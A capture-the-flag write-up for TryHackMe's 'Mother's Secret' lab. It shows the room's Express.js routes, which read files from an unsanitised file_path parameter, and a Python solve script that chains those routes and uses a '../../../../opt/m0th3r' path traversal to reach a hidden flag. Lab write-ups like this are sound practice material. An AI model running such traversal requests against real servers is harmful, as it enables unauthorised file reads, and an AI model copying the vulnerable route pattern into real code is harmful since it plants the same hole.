TryHackMe - Mother's Secret

Solve Script for Mother’s Secret. Used this to practice my scripting.

Description

Upon accessing the MU-TH-UR6000 computer, AKA Mother, you will see the Mother UI server. However, since you only have a “Crew” Member level role, you only have read access to limited resources. But there are other ways to access it. Can you find them and uncover Mother’s secret?

Download the files attached to this task to review the code. 

  1. Explore the available endpoints of the Mother Server and try to find any clues that can reveal mother’s secret.
  2. Search for a file that contains essential information about the ship’s activities.
  3. Exploit the vulnerable code to download the secrets from the server. Can you spot the vulnerable code?
  4. Capture all the hidden flags you encounter during your exploration. Only Mother holds this secret. 

Below are some sequences and operations to get you started. Use the following to unlock information and navigate Mother:

  • Emergency command override is 100375. Use it when accessing Alien Loaders
  • Download the task files to learn about Mother’s routes.
  • Hitting the routes in the right order makes Mother confused, it might think you are a Science Officer!

Can you guess what is /api/nostromo/mother/secret.txt?


Challenge Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import express from "express";
import fs from "fs";
// import { attachWebSocket } from "../../mothers_secret_challenge/websocket.js";
import { attachWebSocket } from "../websocket.js";
import { isYamlAuthenticate } from "./yaml.js";
let isNostromoAuthenticate = false;

const Router = express.Router();

Router.post("/nostromo", (req, res) => {
  let file_path = req.body.file_path;
  const filePath = `./public/${file_path}`;

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Science Officer Eyes Only",
      });
      return;
    }

    isNostromoAuthenticate = true
    res.status(200).send(data);

    attachWebSocket()
      .of("/nostromo")
      .emit("nostromo", "Nostromo data has been processed.");
  });
});

Router.post("/nostromo/mother", (req, res) => {
 
  let file_path = req.body.file_path;
  const filePath = `./mother/${file_path}`;

  if(!isNostromoAuthenticate || !isYamlAuthenticate){
    res.status(500).json({
      status: "Authentication failed",
      message: "Kindly visit nostromo & yaml route first.",
    });
    return 
  }

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Science Officer Eyes Only",
      });
      return;
    }

    res.status(200).send(data);

    // attachWebSocket()
    //   .of("/nostromo")
    //   .emit("nostromo", "Nostromo data has been processed.");
  });
});

export default Router;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import express from "express";
import yaml from "js-yaml";
import fs from "fs";
import { attachWebSocket } from "../websocket.js";

const Router = express.Router();

const isYaml = (filename) => filename.split(".").pop() === "yaml";

Router.post("/", (req, res) => {
  let file_path = req.body.file_path;
  const filePath = `./public/${file_path}`;

  if (!isYaml(filePath)) {
    res.status(500).json({
      status: "error",
      message: "Not a YAML file path.",
    });
    return;
  }

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Failed to read the file.",
      });
      return;
    }

    res.status(200).send(yaml.load(data));

    attachWebSocket().of("/yaml").emit("yaml", "YAML data has been processed.");
  });
});

export default Router;

Solve Script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from colorama import Fore, Back, Style
import requests
import sys
import urllib3
import json
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

headers = {
    "Content-Type": "application/json"
}

def gprint(s): print(f"{Fore.GREEN}(+) {s}{Style.RESET_ALL}")
def rprint(s): print(f"{Fore.RED}(+) {s}{Style.RESET_ALL}")

def get_index(s, url):
    url = url + "/"
    r = s.get(url, verify=False, proxies=proxies)
    res = r.text
    print(res)

def nostromo_mother_post(s, url, file):
    url = url + "/api/nostromo/mother"
    data= {"file_path": file}
    
    gprint("POST to /api/nostromo/mother...")
    r = s.post(url, data=json.dumps(data), verify=False, proxies=proxies, headers=headers)
    res = r.text

    secret = re.search('Secret: .*', res)
    if secret:
        print(' - ',secret[0])

def authenticate_nostromo_post(s, url, file):
    url = url + "/api/nostromo"
    data= {"file_path": file}

    gprint(f"POST to /api/nostromo [{file}]...")
    r = s.post(url, data=json.dumps(data), verify=False, proxies=proxies, headers=headers)
    res = r.text
    
    special_order = re.search('SPECIAL ORDER \d*', res)
    flag1 = re.search('Flag{.*}', res)
    if special_order:
        print(' - ',special_order[0])
    if flag1:
        print(' - ',flag1[0])
        return True

def authenticate_yaml_post(s, url, file):
    url += "/yaml"
    data = {"file_path": file}

    gprint("POST override file to /yaml...")
    r = s.post(url, data=json.dumps(data), verify=False, proxies=proxies, headers=headers)
    res = r.text

    order = re.search('(ORDER: .*) \[', res)
    if order:
        print(' - ',order[1])


def main():
    if len(sys.argv) != 2:
        print("(+) Usage: %s <url>" % sys.argv[0])
        print("(+) Example: %s www.example.com" % sys.argv[0])
        sys.exit(-1)
    
    s = requests.Session()
    url = sys.argv[1]

    authenticate_yaml_post(s, url, "100375.yaml")
    authenticate_nostromo_post(s, url, "0rd3r937.txt")
    nostromo_mother_post(s, url, "secret.txt")
    pwned = authenticate_nostromo_post(s, url, "../../../../opt/m0th3r")
    if pwned:
        rprint("pwned!!!")

if __name__ == "__main__":
    main()